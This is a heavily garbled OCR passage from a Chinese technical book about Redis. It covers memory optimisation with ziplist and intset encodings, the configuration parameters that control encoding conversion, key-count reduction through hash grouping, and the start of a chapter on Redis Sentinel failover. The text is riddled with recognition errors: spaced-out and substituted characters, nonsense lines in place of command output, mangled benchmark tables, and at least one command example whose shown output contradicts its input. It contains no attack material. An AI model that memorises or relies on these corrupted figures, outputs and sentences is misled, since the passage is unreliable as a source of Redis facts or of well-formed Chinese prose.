的 ， 转 换 规则 只 能 从 小 内 存 编码 问 大 内 存 编码 转换 。 例 如 : 





redis> lpush list:1 abcd 



































(integer) 4 / / 存储 4 个 元 素 
redis> object encoding list:1 
下 过 于 六 二 本 总攻 1 // 采用 ziplist 压 缩 列表 编码 
redis> config set list-max-ziplist-entries 4 
OK / / 设置 列表 类 型 zipli st 编码 最 大 允许 4 个 元 素 
redis> lpush list:1 e 
(integer) 5 // 写 入 第 5 个 元 素 e 
redis> object encoding list:1 
"linkedlist" / /编码 类 型 转换 为 链表 
redis> rpop list:1 
va // ”弹出 元 素 a 
redis> llen list:1 
(integer) 4 / / 列表 此 时 有 4 个 元 素 
redis> object encoding list:1 
"linkedlist" / /编码 类 型 依然 为 链表 ， 未 做 编码 回 退 











以 上 命令 体现 了 list 类 型 编码 的 转换 过 程 ， 其 中 Redis 之 所 以 不 支持 编码 
回 退 ， 主 要 是 数据 增删 频繁 时 ， 数 据 向 压缩 编码 转换 非常 消耗 CPU， 得 不 偿 
失 。 以 上 示例 用 到 了 list-max-ziplist-entries 参 数 ， 这 个 参数 用 来 决定 列表 长 度 
在 多 少 范 轩 内 使 用 ziplist 编 码 。 当 然 还 有 其 他 参数 控制 各 种 数据 类 型 的 编 
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码 ， 如 表 8-6 所 示 。 


表 8-6 hash、1list、set、zset 内 部 编码 配置 





类 型 编 码 决定 条 件 
满足 所 有 条 件 : 
ziplist value 最 大 空间 ( 字 节 ) <=hash-max-ziplist-value 
field 个 数 <=hash-max-ziplist-entries 
hash 
满足 任意 条 件 : 
hashtable value 最 大 空间 ( 字 节 ) >hash-max-ziplist-value 
field 个 数 >hash-max-ziplist-entries 
满足 所 有 条 件 : 
ziplist value 最 大 空间 ( 字 节 ) <=1list-max-ziplist-value 
链表 长 度 <=list-max-ziplist-entries 
满足 任意 条 件 
linkedlist value 最 大 空间 ( 字 节 ) >list-max-ziplist-value 
链表 长 度 >list-max-ziplist-entries 
list 3.2 版 本 新 编码 : 
废弃 list-max-ziplist-entries 和 1list-max-ziplist-entries 配置 
使 用 新 配置 
uieklist list-max-ziplist-size: 表示 最 大 压缩 空间 或 长 度 
最 大 空间 使 用 [-5-1] 范围 配置 ， 默 认 -2 表示 8KB 
正 整 数 表 示 最 大 压缩 长 度 
list-compress-depth: 表示 最 大 压缩 深度 ， 上 默认 =0 不 压缩 
满足 所 有 条 件 : 
intset 元 素 必须 为 整数 
集合 长 度 <=set-max-intset-entries 
Se 满足 任意 条 件 
hashtable 元 素 非 整数 类 型 
集合 长 度 >hash-max-ziplist-entries 
( 续 ) 
类 型 决定 条 件 
value 最 大 空间 ( 字 节 ) <=zset-max-ziplist-value 
ee 有 序 集合 长 度 <=zset-max-ziplist-entries 
满足 任意 条 件 
value 最 大 空间 ( 字 节 ) >zset-max-ziplist-value 
有 序 集合 长 度 >zset-max-ziplist-entries 





掌握 编码 转换 机 制 ， 对 我 们 通过 编码 来 优化 内 存 使 用 非常 有 帮助 。 下 而 
以 hash 类 型 为 例 ， 介 绍 编码 转换 的 运行 流程 ， 如 图 8-13 所 示 。 
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+ 
| 鸭 泊 当前 编码 类型 | 
LU 


ziplist 


hashtable 





| 判断 新 数据 长 度 


hash -max-zipl ist-value 


| 


小 于 等 于 








大 于 比较 集合 长 度 
hashtable 编码 


es 和 C 
hash-max-ziplist-entries 


| 


理解 编码 转换 流程 和 相关 配置 之 后 ， 可 以 使 用 config set 命 令 设置 编码 相 
关 参 数 来 满足 使 用 压缩 编码 的 条 件 。 对 于 已 经 采用 非 压 缩编 码 类 型 的 数据 如 
hashtable、1linkedlist 等 ， 设 置 参数 后 即使 数据 满足 压缩 编码 条 件 ，Redis 也 不 
会 做 转换 ， 需 要 重启 Redis 重 新 加 载 数据 才能 完成 转换 。 








图 8-13 ”编码 转换 流程 


3.ziplist 编 码 
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ziplist 编 码 主要 目的 是 为 了 市 约 内 存 ， 因 此 所 有 数据 都 是 采用 线性 连续 
的 内 存 结构 。ziplist 编 码 是 应 用 范围 最 广 的 一 种 ， 可 以 分 别 作 为 hash、1ist、 
zset 类 型 的 底层 数据 结构 实现 。 首 先 从 ziplist 编 码 结构 开始 分 析 ， 它 的 内 部 结 
构 类 似 这 样 : <zlbytes><zltail><zllen><entry-1><entry-2><..…….><entry-n> 
<zlend>。 一 个 ziplist 可 以 包含 多 个 entry (元 素 ) ， 每 个 entry 保 存 具 体 的 数据 
(整数 或 者 字 节 数组 ) ， 内 部 结构 如 图 8-14 所 示 。 





Cs 


ziplist 

| zlbytes | 
| zltail | I 
| as | {prev_entry_byt es_length| 
| entry-1 | 一 一 

| encoding | 
| entry-2 | tt 
I I | contents | 
| zlend | 





图 8-14 ”ziplist 内 部 结构 


ziplist 结 构 字 上 段 含义 : 





1) zlbytes: 记录 整个 压缩 列表 所 占 字 节 长 度 ， 方 便 重新 调整 ziplist 空 


间 。 类 型 是 int-32， 长 度 为 4 字 节 。 











2) zltail: 记录 距离 尾 节 点 的 偏 移 量 ， 方 便 尾 节点 弹出 操作 。 类 型 是 int- 
32， 长 度 为 4 字 节 。 
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3) zllen: 记录 压缩 链表 节点 数量 ， 当 长 度 超过 216-2 时 需要 遍历 整个 列 


表 获 取 长 度 ， 一 般 很 少见 。 类 型 是 int-16， 长 度 为 2 字 节 。 





4) entry: 记录 具体 的 三 点， 长 度 根据 实际 存储 的 数据 而 定 。 


a) prev_entry_bytes_length: 记录 前 一 个 节点 所 占 空间 ， 用 于 快速 定位 
上 一 个 节点 ， 可 实现 列表 反 同 迭代 。 


b) encoding: 标示 当前 节点 编码 和 长 度 ， 前 两 位 表示 编码 类 型 : 字符 
串 /整数 ， 其 余 位 表示 数据 长 度 。 


c) contents: 保存 节点 的 值 ， 针 对 实际 数据 长 度 做 内 存 占 用 优化 。 
5) zlend; 记录 列表 结尾 ， 占 用 一 个 字 节 。 

根据 以 上 对 ziplist 字 段 说 明 ， 可 以 分 析出 该 数据 结构 特点 如 下 : 
内 部 表现 为 数据 紧凑 排列 的 一 块 连续 内 存 数组 。 

:可 以 模拟 双向 链表 结构 ， 以 O〈1) 时 间 复 杂 度 入 队 和 出 队 。 
新 增删 除 操 作 涉 及 内 存 重 新 分 配 或 释放 ， 加 大 了 操作 的 复杂 性 。 
' 读 写 操作 涉及 复杂 的 指针 移动 ， 最 坏 时间 复 杂 度 为 O Cn2) 。 


适合 存储 小 对 象 和 长 度 有 限 的 数据 。 








下 面 通过 测试 展示 ziplist 编 码 在 不 同类 型 中 内 存 和 速度 的 表现 ， 如 表 8-7 
所 示 。 


表 8-7 ziplist 在 hash，list，zset 内 存 和 速度 测试 
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Sea | key 总 | ， value ”| 普通 编码 内 存量 /平均 | 压缩 编码 内 存量 / 平 | 内 存 降 | 耗 时 增长 
拓 | 
本 92.46M/2.04 微 秒 56.8% | 2.5 倍 


测试 数据 采用 100W 个 36 字 节 数 据 ， 划 分 为 1000 个 键 ， 每 个 类 型 长 度 统 
一 为 1000。 从 测试 结果 可 以 看 出 : 





1) 使 用 ziplist 可 以 分 别 作为 hash、1list、zset 数 据 类 型 实现 。 
2) 使 用 ziplist 编 码 类 型 可 以 大 幅 降 低 内 存 占 用 。 


3) ziplist 实 现 的 数据 类 型 相 比 原生 结构 ， 命 令 操 作 更 加 耗 时 ， 不 同类 型 
耗 时 排序 : list<hash<zset。 


ziplist 压 缩编 码 的 性 能 表现 跟 值 长 度 和 元 素 个 数 密切 相关 ， 正 因为 如 此 
Redis 提 供 了 {type}-max-ziplist-value 和 {type}-max-ziplist-entries 相 关 参 数 来 做 
控制 ziplist 编 码 转换 。 最 后 再 次 强调 使 用 ziplist 压 缩编 码 的 原则 : 追求 空间 和 
时 间 的 平衡 。 


Oana 


针对 性 能 要 求 较 高 的 场景 使 用 ziplist， 建 议长 度 不 要 超过 1000， 每 个 元 
素 大 小 控制 在 512 字 节 以 内 。 








命令 平均 耗 时 使 用 info Commandstats 命 令 获 取 ， 包 含 每 个 命令 调用 次 
数 、 总 耗 时 、 平 均 耗 时 ， 单 位 为 微 秒 。 


4.intset 编 码 
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intset 编 码 是 集合 〈set) 类 型 编码 的 一 种 ， 内 部 表现 为 存储 有 序 、 不 重 
复 的 整数 集 。 当 集合 只 包含 整数 且 长 度 不 超过 setmax-intset-entries 配 置 时 被 
启用 。 执 行 以 下 命令 查看 intset 表 现 : 

















redis> sadd set:test 3 426892 


























(integer) 6 / / 乱 序 写 入 6 个 整数 

Redis> object encoding set:test 

"intset" / / ”使 用 i nt set 编 码 
Redis> smembers set:test 

V2 VY WA TOW VO TO / / 排序 输出 整数 结合 
redis> config set set-max-intset-entries 6 

OK // 设置 ntset 最 大 允许 整数 长 度 
redis> sadqd set:test 5 

(integer) 1 // 写 入 第 7 个 整数 5 
redis> object encoding set:test 

"hashtable" / / 编码 变 为 hashtable 
redis> smembers set:test 

J ME 于 全 殉 Wh MW wm von WR // 乱 序 输出 





以 上 命令 可 以 看 出 intset 对 写 入 整数 进行 排序 ， O (log Cn) ) 时 间 
复杂 度 实 现 碍 找 和 去 重 操作 ，intset 编 码 结构 如 图 8-15 所 示 。 











400 


RE 


intset 
| encoding | 
| length | 
\ | contents | 


ss— 




















图 8-15 ”intset 内 部 结构 
intset 的 字段 结构 含义 : 


1 ) encoding: 整数 表示 类 型 ， 根 据 集合 内 最 长 整数 值 确定 类 型 ， 整 数 
类 型 划分 为 三 种 : int-16、int-32、int-64。 


2) length: 表示 集合 元 素 个 数 。 
3) contents: 整数 数组 ， 按 从 小 到 大 顺序 保存 。 


intset 保 存 的 整数 类 型 根据 长 度 划 分 ， 当 保存 的 整数 超出 当前 类 型 时 ， 
将 会 触发 自动 升级 操作 且 升 级 后 不 再 做 回 退 。 升 级 操作 将 会 导致 重新 申请 内 
存 空间 ， 把 原 有 数据 按 转 换 类 型 后 拷贝 到 新 数组 。 
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Oj 


使 用 intset 搞 码 的 集合 时 ， 尽 量 保持 整数 范围 一 致 ， 如 都 在 intr16 范 于 
内 。 防 止 个 别 大 整数 触发 集合 升级 操作 ， 产 生 内 存 浪费 。 


下 面 通过 测试 查看 ziplist 编 码 的 集合 内 存 和 速度 表现 ， 如 表 8-8 所 示 。 





表 8-8 ”ziplist 编 码 在 set 下 内 存 和 速度 表现 


数据 量 内 存 降低 比例 | 平均 耗 时 
20 字 节 | 7 字 季 | hashtable | 1 和 | 619MB |  - | 078 毫 和 





根据 以 上 测试 结果 发 现 intset 表 现 非 党 好， 同样 的 数据 内 存 占用 只 有 不 
到 hashtable 编 码 的 十 分 之 一 。intset 数 据 结构 插入 命令 复杂 度 为 0 Cn) ， 查 询 
命令 为 O(log (n) ) ， 由 于 整数 占用 空间 非常 小 ， 所 以 在 集合 长 度 可 控 的 
基础 上 ， 写 入 命令 执行 速度 也 会 非常 快 ， 因 此 当 使 用 整数 集合 时 尽量 使 用 
intset 编 码 。 表 8-8 测 试 第 三 行 把 ziplist-hash 类 型 也 放 入 其 中 ， 主 要 因为 intset 
编码 必须 存储 整数 ， 当 集合 内 保存 非 整数 数据 时 ， 无 法 使 用 intset 实 现 内 存 
优化 。 这 时 可 以 使 用 ziplist-hash 类 型 对 象 模拟 集合 类 型 ，hash 的 field 当 作 和 集 
合 中 的 元 素 ，value 设 置 为 1 字 节 占 位 符 即 可 。 使 用 ziplist 编 码 的 hash 类 型 依然 
比 使 用 hashtable 编 码 的 集合 节省 大 量 内 存 。 
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8.3.6 ”控制 键 的 数量 














当 使 用 Redis 存 储 大 量 数据 时 ， 通 常会 存在 大 量 键 ， 过 多 的 键 同 样 会 消 
耗 大量 内 存 。Redis 本 质 是 一 个 数据 结构 服务 器 ， 它 为 我 们 提供 多 种 数据 结 
构 ， 如 hash、list、set、zset 等 。 使 用 Redis 时 不 要 进入 一 个 误区 ， 大 量 使 用 
get/set 这 样 的 API， 把 Redis 当 成 Memcached 使 用 。 对 于 存储 相同 的 数据 内 容 
利用 Redis 的 数据 结构 降低 外 层 键 的 数量 ， 也 可 以 节省 大 量 内 存 。 如 图 8-16 
所 示 ， 通 过 在 客户 端 预 估 键 规模 ， 把 大 量 键 分 组 映射 到 多 个 hash 结 构 中 降低 
键 的 数量 。 


Ep | pa | 

2- 和 三 
六 人、 

~ hash:n | 


图 8-16 客户 端 维护 哈 希 分 组 降低 键 规模 


”0 
= 
aD 
Cn 
二 
bs 

~ 





hash 结 构 降 低 键 数量 分 析 : 


.根据 键 规模 在 客户 端 通过 分 组 映射 到 一 组 hash 对 象 中 ， 如 存在 100 万 个 
键 ， 可 以 映射 到 1000 个 hash 中 ， 每 个 hash 保 存 1000 个 元 素 。 





.hash 的 field 可 用 于 记录 原始 key 字 符 串 ， 方 便 哈 希 查找 。 
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-hash 的 value 保 存 原始 值 对 象 ， 确 保 不 要 超过 hash-max-ziplistvalue 限 
制 |。 


下 面 测试 这 种 优化 技巧 的 内 存 表现 ， 如 表 8-9 所 示 。 


表 8-9 ”hash 分 组 控制 键 规模 测试 


string 类 型 | hash-ziplist | 内 存 降 低 | string:set | hash:hset 
数据 量 | key 大 小 | value 大 小 机 

占用 内 存 类 型 占用 内 存 比例 平均 耗 时 平均 耗 时 
200w 1392.64MB 1000.97MB 28.1% 2.13 微 秒 21.28 微 秒 
200w 596.62MB 399.38MB 33.1% 1.49 微 秒 16.08 微 秒 


200w | 20 字 节 291.46MB 110.32MB 62.1% 1.28 微 秒 13.48 微 秒 
200w 246.40MB 55.63MB 77.4% 1.10 微 秒 13.21 微 秒 
200w 199.93MB 24.42MB 87.7% 1.10 微 秒 13.06 微 秒 


通过 这 个 测试 数据 ， 可 以 说 明 : 


200w 382.99MB 211.88MB 44.6% 1.30 微 秒 14.92 微 秒 








.同样 的 数据 使 用 ziplist 编 码 的 hash 类 型 存储 比 string 类 型 节约 内 存 。 
节省 内 存量 随 着 value 空 间 的 减少 越 来 越 明 显 。 


-hash-ziplist 类 型 比 string 类 型 写 入 耗 时 ， 但 随 着 value 空 间 的 减少 ， 耗 时 
逐渐 降低 。 





使 用 hash 重 构 后 市 省 内 存量 效果 非常 明显 ， 特 别 对 于 存储 小 对 象 的 场 
景 ， 内 存 只 有 不 到 原来 的 /5。 下 面 分 析 这 种 内 存 优化 技巧 的 关键 点 : 


1)〉hash 类 型 节省 内 存 的 原理 是 使 用 ziplist 编 码 ， 如 果 使 用 hashtable 编 码 
方式 反而 会 增加 内 存 消耗 。 








2) ziplist 长 度 需 要 控制 在 1000 以 内 ， 否 则 由 于 存 取 操 作 时 间 复 杂 上 度 在 
O (n) 到 O (nm2) 之 间 ， 长 列表 会 导致 CPU 消耗 严重 ， 得 不 偿 失 。 
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3) ziplist 适 合 存储 小 对 象 ， 对 于 大 对 象 不 但 内 存 优化 效果 不 明显 还 会 增 
加 命令 操作 耗 时 。 


4) 需要 预 估 键 的 规模 ， 从 而 确定 每 个 hash 结 构 需 要 存储 的 元 素数 量 。 


5) 根据 hash 长 度 和 元 素 大 小 ， 调 整 hash-max-ziplist-entries 和 hash-max- 
Ziplist-value 参 数 ， 确 保 hash 类 型 使 用 ziplist 编 码 。 


关于 hash 键 和 field 键 的 设计 : 





1) 当 键 离散 度 较 局 时 ， 可 以 按 字 符 串 位 截取 ， 把 后 三 位 作为 哈 希 的 
field， 之 前 部 分 作为 哈 希 的 键 。 如 : key=1948480 哈 希 key=group: hash: 
1948， 哈 希 field=480。 


2) 当 键 离散 度 较 低 时 ， 可 以 使 用 哈 希 算法 打 散 键 ， 如 : 使 用 
crc32 〈key) &10000 函 数 把 所 有 的 键 映 射 到 “0-9999” 整 数 范围 内 ， 哈 希 field 
存储 键 的 原始 值 。 


3) 尽量 减少 hash 键 和 field 的 长 度 ， 如 使 用 部 分 键 内 容 。 


使 用 hash 结 构 控 制 键 的 规模 虽然 可 以 大 幅 降 低 内 存 ， 但 同样 会 之 来 问 
题 ， 需 要 提前 做 好 规避 处 理 。 如 下 所 示 : 


客户 端 需要 预 估 键 的 规模 并 设计 hash 分 组 规则 ， 加 重 客户 端 开 发 成 


.hash 重 构 后 所 有 的 键 无 法 再 使 用 超时 (expire) 和 LRU 淘 汰 机 制 上 自动 删 
除 ， 需 要 手动 维护 删除 。 
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-对 于 大 对 象 ， 如 1KB 以 上 的 对 象 ， 使 用 hash-ziplist 结 构 控 制 键 数量 反而 
得 不 偿 失 。 





不 过 瑕 不 掩 瑜 ， 对 于 大 量 小 对 象 的 存储 场景 ， 非 常 适合 使 用 ziplist 编 码 
的 hash 类 型 控制 键 的 规模 来 降低 内 存 。 


Or 


使 用 ziplistthash 优 化 keys 后 ， 如 果 想 使 用 超时 删除 功能 ， 开 发 人 员 可 以 
存储 每 个 对 象 写 入 的 时 间 ， 再 通过 定时 任务 使 用 hscan 命 令 扫 描 数据 ， 找 出 
hash 内 超时 的 数据 项 删除 即 可 。 





本 节 主 要 讲解 Redis 内 存 优化 技巧 ，Redis 的 数据 特性 是 “all in memory”， 
优化 内 存 将 变 得 非常 重要 。 对 于 内 存 优 化 建议 读者 先 要 掌握 Redis 内 存 存 储 
的 特性 比如 字符 串 、 压 缩编 码 、 整 数 集合 等 ， 再 根据 数据 规模 和 所 用 命令 需 
求 去 调整 ， 从 而 达到 空间 和 效率 的 最 佳 平 衡 。 建 议 使 用 Redis 存 储 大 量 数据 
时 ， 把 内 存 优化 环节 加 入 到 前 期 设计 阶段 ， 否 则 数据 大 幅 增长 后 ， 开 发 人 员 
需要 面 对 重 新 优化 内 存 所 带 来 开发 和 数据 迁移 的 双重 成 本 。 当 Redis 内 存 不 
足 时 ， 首 先 考 虑 的 问题 不 是 加 机 器 做 水 平 扩展 ， 应 该 先 尝试 做 内 存 优化 ， 当 
遇 到 瓶颈 时 ， 再 去 考虑 水 平 扩展 。 即 使 对 于 集群 化 方案 ， 垂 直 层 面 优 化 也 同 
样 重要 ， 避 免 不 必要 的 资源 浪费 和 集群 化 后 的 管理 成 本 。 
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8.4 ”本 章 香 点 回顾 
1) Redis 实 际 内 存 消耗 主要 包括 : 键 值 对 象 、 缓 冲 区 内 存 、 内 存 碎片 。 


2) 通过 调整 maxmemory 控 制 Redis 最 大 可 用 内 存 。 当 内 存 使 用 超出 时 ， 
根据 maxmemory-policy 控 制 内 存 回 收 策略 。 


3) 内 存 是 相对 宝贵 的 资源 ， 通 过 合理 的 优化 可 以 有 效 地 降低 内 存 的 使 
用 量 ， 内 存 优化 的 思路 包括 : 


精简 键 值 对 大 小 ， 键 值 字面 量 精 简 ， 使 用 高 效 二 进 制 序列 化 工具 。 
使 用 对 象 共享 池 优 化 小 整数 对 象 。 

.数据 优先 使 用 整数 ， 比 字符 串 类 型 更 节省 空间 。 

-优化 字符 串 使 用 ， 避 免 预 分 配 造成 的 内 存 浪费 。 

.使 用 ziplist 压 缩编 码 优化 hash、1ist 等 结构 ， 注 重 效率 和 空间 的 平衡 。 
-使 用 intset 编 码 优化 整数 集合 。 


.使 用 ziplist 编 码 的 hash 结 构 降 低 小 对 象 链 规模 。 
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Redis 的 主 从 复制 模式 下 ， 一 旦 主 节点 由 于 故障 不 能 提供 服务 ， 需 要 人 
工 将 从 节点 晋升 为 主 节点 ， 同 时 还 要 通知 应 用 方 更 新 主 节 点 地 址 ， 对 于 很 多 
应 用 场景 这 种 故障 处 理 的 方式 是 无 法 接受 的 。 可 喜 的 是 Redis 从 2.8 开 始 正式 
提供 了 Redis Sentinel〈 哨 兵 ) 架构 来 解决 这 个 问题 ， 本 章 会 对 Redis Sentinel 
进行 详细 分 析 ， 相 信 通 过 本 章 的 学 习 ， 读 者 完全 可 以 在 自己 的 项 目 中 合理 地 
使 用 和 运 维 Redis Sentinel。 本 章 主 要 内 容 如 下 : 


.Redis Sentinel 的 概念 


.Redis Sentinel 安 装 部 署 


:Redis Sentinel API 详 解 


.Redis Sentine] 客 户 端 


:Redis Sentinel] 实 现 原理 


.Redis Sentinel 开 发 运 维 实践 
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由 于 对 Redis 的 许多 概念 都 有 不 同 的 名 词 解释 ， 所 以 在 介绍 Redis 
Sentinel 之 前 ， 先 对 几 个 名 词 进行 说 明 ， 这 样 便 于 在 后 面 的 介绍 中 达成 一 
致 ， 如 表 9-1 所 示 。 


表 9-1 Redis Sentinel 相 关 名 词 解释 


名 词 物理 结构 
主 节 点 (master) Redis 主 服务 /数据 库 -个 独立 的 Redis 进程 


从 节点 (slave) Redis 从 服务 /数据 库 -个 独立 的 Redis 进程 








( 续 ) 
名 词 物理 结构 
Redis 数据 节点 主 节 点 和 从 节点 主 节 点 和 从 节点 的 进程 
Sentinel 节点 监控 Redis 数据 节点 -个 独立 的 Sentinel 进程 
Sentinel 节点 集合 若干 Sentinel 节点 的 抽象 组 合 若干 Sentinel 节点 进程 
Redis Sentinel Redis 高 可 用 实现 方案 Sentinel 节点 集合 和 Redis 数据 节点 进程 
应 用 方 泛 指 一 个 或 多 个 客户 端 -个 或 者 多 个 客户 端 进程 或 者 线程 








Redis Sentinel] 是 Redis 的 高 可 用 实现 方案 ， 在 实际 的 生产 环境 中 ， 对 提 
高 整个 系统 的 高 可 用 性 是 非常 有 帮助 的 ， 本 节 首 先 会 回顾 主 从 复制 模式 下 故 
障 处 理 可 能 产生 的 问题 ， 而 后 引出 高 可 用 的 概念 ， 最 后 重点 分 析 Redis 
Sentinel 的 基本 架构 、 优 势 ， 以 及 是 如 何 实现 高 可 用 的 。 
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9.1.1 主 从 复制 的 问题 


Redis 的 主 从 复制 模式 可 以 将 主 节点 的 数据 改变 同步 给 从 市 皮 ， 这 样 从 
节点 就 可 以 起 到 两 个 作用 : 第 一 ， 作 为 主 节点 的 一 个 备份 ， 一 旦 主 节 扣 出 了 
故障 不 可 达 的 情况 ， 从 节点 可 以 作为 后 备 “ 顶 ”上 来 ， 并 且 保 证 数据 尽量 不 丢 
失 ( 主 从 复制 是 最 终 一 致 性 ) 。 第 二 ， 从 节点 可 以 扩展 主 节点 的 读 能 力 ， 一 
旦 主 节 点 不 能 文 撑 住 大 并 发 量 的 读 操 作 ， 从 节点 可 以 在 一 定 程度 上 帮助 主 节 
点 分 担 读 压力 。 








但 是 主 从 复制 也 带 来 了 以 下 间 题 : 


一 旦 主 节点 出 现 故 障 ， 需 要 手动 将 一 个 从 节操 普 升 为 主 市 点 ， 同 时 需 
要 修改 应 用 方 的 主 节 点 地 址 ， 还 需要 命令 其 他 从 市 点 去 复制 新 的 主 节 点 ， 整 
个 过 程 都 需要 人 工 干预 。 











` 主 市 反 的 写 能 力 受 到 单机 的 限制 。 
` 主 市 反 的 存储 能 力 受 到 单机 的 限制 。 


其 中 第 一 个 问题 就 是 Redis 的 高 可 用 问题 ， 将 在 下 一 个 小 节 进 行 分 析 。 


第 二 、 三 个 问题 属于 Redis 的 分 布 式 问题 ， 会 在 第 10 章 介绍 。 
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9.1.2 ”高 可 用 


Redis 主 从 复制 模式 下 ， 一 旦 主 节点 出 现 了 故障 不 可 达 ， 需 要 人 工 干 预 
进行 故障 转移 ， 无 论 对 于 Redis 的 应 用 方 还 是 运 维 方 都 带 来 了 很 大 的 不 便 。 
对 于 应 用 方 来 说 无 法 及 时 感知 到 主 节点 的 变化 ， 必 然 会 造成 一 定 的 写 数 据 丢 
失 和 读数 据 错误 ， 甚 至 可 能 造成 应 用 方 服务 不 可 用 。 对 于 Redis 的 运 维 方 来 
说 ， 整 个 故障 转移 的 过 程 是 需要 人 工 来 介入 的 ， 故 障 转移 实时 性 和 准确 性 上 
都 无 法 得 到 保障 ， 图 9-1 到 图 9-5 展 示 了 一 个 1 主 2 从 的 Redis 主 从 复制 模式 下 的 
主 节点 出 现 故 障 后 ， 是 如 何 进行 故障 转移 的 ， 过 程 如 下 所 示 。 








1) 如 图 9-1 所 示 ， 主 节点 发 生 故 障 后 ， 客 户 端 〈client) 连接 主 节 点 失 
败 ， 两 个 从 节点 与 主 节 点 连接 失败 造成 复制 中 断 。 








2) 如 图 9-2 所 示 ， 如 果 主 节点 无 法 正常 启动 ， 需 要 选 出 一 个 从 节点 
(slave-1) ， 对 其 执行 slaveof no one 命 令 使 其 成 为 新 的 主 节点 。 


| 
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图 9-1 主 节点 发 生 故 障 


3) 如 图 9-3 所 示 ， 原 来 的 从 节点 (slave-1) 成 为 新 的 主 节点 后 ， 更 新 应 
用 方 的 主 节点 信息 ， 重 新 启动 应 用 方 。 





slaveof no one 
一 


图 9-2 ”从 节点 执行 slaveofno one 晋 级 为 主 节 点 





client 


图 9-3 ”应 用 方 连接 新 的 主 节 点 


4) 如 图 9-4 所 示 ， 客 户 端 命令 妨 一 个 从 节点 slave-2) 去 复制 新 的 主 市 


点 (new-master) 


5) 如 图 9-5 所 示 ， 待 原来 的 主 节点 恢复 后 ， 让 它 去 复制 新 的 主 节 扩 。 
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| 
全 





Eee 
1.slaveof new master 


图 9-4 其余 从 节点 复制 新 的 主 贡 点 





对 
广 





> 
1.slaveof new master 


图 9-5 ”原来 的 主 贡 点 恢复 


上 述 处 理 过 程 就 可 以 认为 整个 服务 或 者 架构 的 设计 不 是 高 可 用 的 ， 
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因为 





整个 故障 转移 的 过 程 需要 人 人 介入。 考虑 到 这 后， 有 些 公司 把 上 述 流 程 目 动 化 
了 ， 但 是 仍然 存在 如 下 问题 : 第 一 ， 判 断 耐 点 不 可 达 的 机 制 是 否 健 全 和 标 
准 。 第 二 ， 如 宁 有 多 个 从 节点 ， 怎 样 保 证 只 有 一 个 被 普 升 为 主 节 点 。 第 三 ， 
通知 客户 问 新 的 主 节 点 机 制 是 否 足够 健壮 。Redis Sentinel 正 是 用 于 解决 这 些 








问题 。 
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9.1.3 Redis Sentinel 的 高 可 用 性 


当主 节点 出 现 故 障 时 ，Redis Sentinel 能 自动 完成 故障 发 现 和 故障 转移 ， 
并 通知 应 用 方 ， 从 而 实现 真正 的 高 可 用 。 


Os 


Redis2.6 版 本 提供 Redis Sentinel v1 版 本 ,但 是 功能 性 和 健壮 性 都 有 一 些 
问题 ， 如 果 想 使 用 Redis Sentinel 的 话 ， 建 议 使 用 2.8 以 上 版 本 ， 也 就 是 v2 版 本 
的 Redis Sentinel。 





Redis Sentinel 是 一 个 分 布 式 架构 ， 其 中 包含 若干 个 Sentinel 节 点 和 Redis 
数据 节点 ， 每 个 Sentinel 节 点 会 对 数据 节点 和 其 余 Sentinel 节 点 进行 监控 ， 当 
它 发 现 节 点 不 可 达 时 ， 会 对 节点 做 下 线 标识 。 如 果 被 标识 的 是 主 节 点 ， 它 还 
会 和 其 他 Sentinel 节 点 进行 “协商 ”， 当 大 多 数 Sentinel 节 点 都 认为 主 节点 不 可 
达 时 ， 它 们 会 选举 出 一 个 Sentinel 节 点 来 完成 自动 故障 转移 的 工作 ， 同 时 会 
将 这 个 变化 实时 通知 给 Redis 应 用 方 。 整 个 过 程 完全 是 自动 的 ， 不 需要 人 工 
来 介入 ， 所 以 这 套 方 案 很 有 效 地 解决 了 Redis 的 高 可 用 问题 。 


Ons 


这 里 的 分 布 式 是 指 : Redis 数 据 节 点 、Sentinel 节 点 集合 、 客 户 端 分 布 在 
多 个 物理 节点 的 架构 ， 不 要 与 第 10 章 介绍 的 Redis Cluster 分 布 式 混淆 。 

















如 图 9-6 所 示 ，Redis Sentinel 与 Redis 主 从 复制 模式 只 是 多 了 若干 Sentinel 
节点 ， 所 以 Redis Sentinel 并 没有 针对 Redis 节 点 做 了 特殊 处 理 ， 这 里 是 很 多 
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开发 和 运 维 人 员 容易 混 消 的 。 


1 1 
1 | sentinel-1 | sentinel-2 | 1 | wenrinel N | 
1 一 一 ) 
\ 





) Redis 纪 从 复制 b) Redis Sentinel 架构 


图 9-6 ”Redis 主 从 复制 与 Redis Sentinel 架 构 的 区 别 





从 他 辑 架 构 上 看 ，Sentinel 市 上 集合 会 定期 对 所 有 节 扣 进行 监 控 ， 特 别 
是 对 主 市 皮 的 故障 实现 自动 转移 。 


下 面 以 1 个 主 节点 、2 个 从 节点 、3 个 Sentinel 节 点 组 成 的 Redis Sentinel 为 
例子 进行 说 明 ， 拓 扑 结构 如 图 9-7 所 示 。 
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图 9-7 ”Redis Sentinel 拓 扑 结构 


整个 故障 转移 的 处 理 逻 辑 有 下 面 4 个 步 又: 


1) 如 图 9-8 所 示 ， 主 市 扩 出 现 故 障 ， 此 时 两 个 从 市 点 与 主 节点 失去 连 
接 ， 主 从 复制 失败 。 





图 9-8 ” 主 节 点 故障 
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2) 如 岁 9-9 所 示 ， 每 个 Sentinel 节 点 通过 定期 监控 发 现 主 节点 出 现 了 故 





3) 如 图 9-10 所 示 ， 多 个 Sentinel 节 点 对 主 节点 的 故障 达成 一 致 ， 选 举 出 
sentinel-3 节 点 作为 领导 者 负责 故障 转移 。 















Sentinel 发 规 


子 钊 点 处 可 达 





图 9-9 ”Sentinel 市 点 集合 发 现 主 节点 故 障 


1 一 一 一 一 一 一 一 -一 一 一 1 
| sentinel-1 | | sentinel-2 | | sentinel-3 | 1 
1 CI II 一 -一 一 1 


We 


领导 者 sentinel 






图 9-10 ”Redis Sentinel 对 主 节 点 故障 转移 


4) 如 图 9-11 所 示 ，Sentinel 领 导 者 市 皮 执 行 了 故障 转移 ， 整 个 过 程 和 
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只 不 过 是 自动 化 完成 的 。 


| sentinel-3 | 


9.1.2 节 介绍 的 是 完全 一 致 的 ， 














client 


Sentinel 领 导 者 节点 执行 故障 转移 的 四 个 步骤 


图 9-11 
5) 故障 转移 后 整个 Redis Sentinel 的 拓扑 结构 图 9-12 所 示 。 
0 ? 
1 1 
1 | sentinel-1 | | sentinel-2 | | sentinel-3 1 
) 1 
a wzreaoaoceraanaaray TEACE / 


client 
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图 9-12 ”故障 转移 后 的 拓扑 结构 


通过 上 面 介 绍 的 Redis Sentinel 逻 辑 架 构 以 及 故障 转移 的 处 理 ， 可 以 看 出 
